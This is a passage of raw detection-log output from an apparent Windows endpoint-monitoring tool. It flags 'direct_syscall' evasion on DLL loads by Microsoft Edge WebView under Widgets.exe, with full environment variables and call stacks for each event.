MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c444fe C:\Windows\System32\combase.dll!WindowsDeleteString|0x7fff93dad25a C:\Windows\System32\combase.dll!Ordinal225|0x7fff93bf87d1 C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf72ff C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf6e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff443e20d5 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7fff443e1fe6 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7fff443e1e7e C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7fff443dcc1b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!CreateSmartScreenClient|0x7fff4284fd2d C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff4284ea50 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!IsSandboxedProcess|0x7fff421a500b C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff421f5328 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff42219a08 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge.dll!?|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:31+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1402342 + Pid: 2880 + Tid: 16020 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.1232993 +0100 CET + Params: base_address➜ 7fff715d0000, checksum➜ 879719, default_address➜ 7fff715d0000, file_path➜ C:\Windows\System32\Windows.StateRepositoryPS.dll, image_size➜ 802816, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff9550701d C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95574294 C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7fff955163a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff95516020 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7fff9553fa20 C:\Windows\System32\ntdll.dll!LdrLoadDll|0x7fff92dad29f C:\Windows\System32\KernelBase.dll!LoadLibraryExW|0x7fff93c27a6d C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93c2759f C:\Windows\System32\combase.dll!CoTaskMemFree|0x7fff93dab8a2 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacc5c C:\Windows\System32\combase.dll!Ordinal225|0x7fff93dacd65 C:\Windows\System32\combase.dll!Ordinal225|0x7fff93da8fb6 C:\Windows\System32\combase.dll!CoGetInstanceFromIStorage|0x7fff93d44304 C:\Windows\System32\combase.dll!CStdAsyncStubBuffer_QueryInterface|0x7fff93c1b83b C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1b77c C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a662 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93c1a279 C:\Windows\System32\combase.dll!CoRegisterPSClsid|0x7fff93ceff04 C:\Windows\System32\combase.dll!RoRegisterActivationFactories|0x7fff93d8717e C:\Windows\System32\combase.dll!Ordinal130|0x7fff93c477fb C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c462ed C:\Windows\System32\combase.dll!CoUnmarshalInterface|0x7fff93c98013 C:\Windows\System32\combase.dll!CoGetStandardMarshal|0x7fff93c5eef0 C:\Windows\System32\combase.dll!StringFromCLSID|0x7fff93bf74bd C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff93bf6e1f C:\Windows\System32\combase.dll!RoGetActivationFactory|0x7fff6cee93f7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cee86a6 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf28cb7 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf26f90 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2e223 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2dd67 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf2dcf9 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff6cf306d5 C:\Windows\System32\Windows.Security.Authentication.Web.Core.dll!?|0x7fff942eab76 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942ea8aa C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff942e9c47 C:\Windows\System32\SHCore.dll!Ordinal131|0x7fff948de8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff9558c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-02T13:16:31+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1402387 + Pid: 2880 + Tid: 4900 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-02 13:16:30.1261484 +0100 CET + Params: base_address➜ 7fff8efc0000, checksum➜ 112844, default_address➜ 7fff8efc0000, file_path➜ C:\Windows\System32\secur32.dll, image_size➜ 53248, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 2880, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 2880 + Ppid: 10180 + Name: msedgewebview2.exe + Parent name: Widgets.exe + Cmdline: "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 + Parent cmdline: "C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_525.31002.150.0_x64__cw5n1h2txyewy\Dashboard\Widgets.exe" -ServerName:Microsoft.Windows.DashboardServer + Exe: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe + Cwd: C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=Widgets.exe --webview-exe-version=525.31002.10.0 --user-data-dir="C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView" --noerrdialogs --disk-cache-size=52428800 --edge-webview-is-background --lang=en-US --mojo-named-platform-channel-pipe=10180.7888.5612976410328043299 /pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:2880 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_2880_ARFMIOGUEXAMZGKJ EDGE_METRICS_CLIENT_ID_HASH:6092338358981505986 EDGE_METRICS_SESSION_ID:340 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"wpHXXpsNBmdIXiXmW9rewV/GUz46RhuaXpzglQtfG4I=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView EDGE_UX_CONFIG_CORRELATION_ID: EDGE_VARIATIONS_SEED_ETAG:"RKa0yZCvphvrLkeQXHzehWRDeynURWvoI0qYVZ6UVdk=" EDGE_WEBVIEW_PREFETCH_HOSTED_APP:/pfhostedapp:93185a914d3fadf723380eebc2e06e513ccf0cd5 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo IS_EDGE_WEBVIEW:1 JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + ] and callstack [0xfffff801b7b42714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff801b7a74909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff801b7b48ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff801b8072258 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff801b8071ecb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff801b80690c3 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x68e3|0xfffff801b80621c5 C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc75|0xfffff801b806179d C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff801b7eb2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0x7fff54c91014 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7fff54aa3640 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff54aa3a53 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\142.0.3595.94\msedge_elf.dll!IsExtensionPointDisableSet|0x7fff955053db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff95504e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7fff955084cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7fff95503c3c 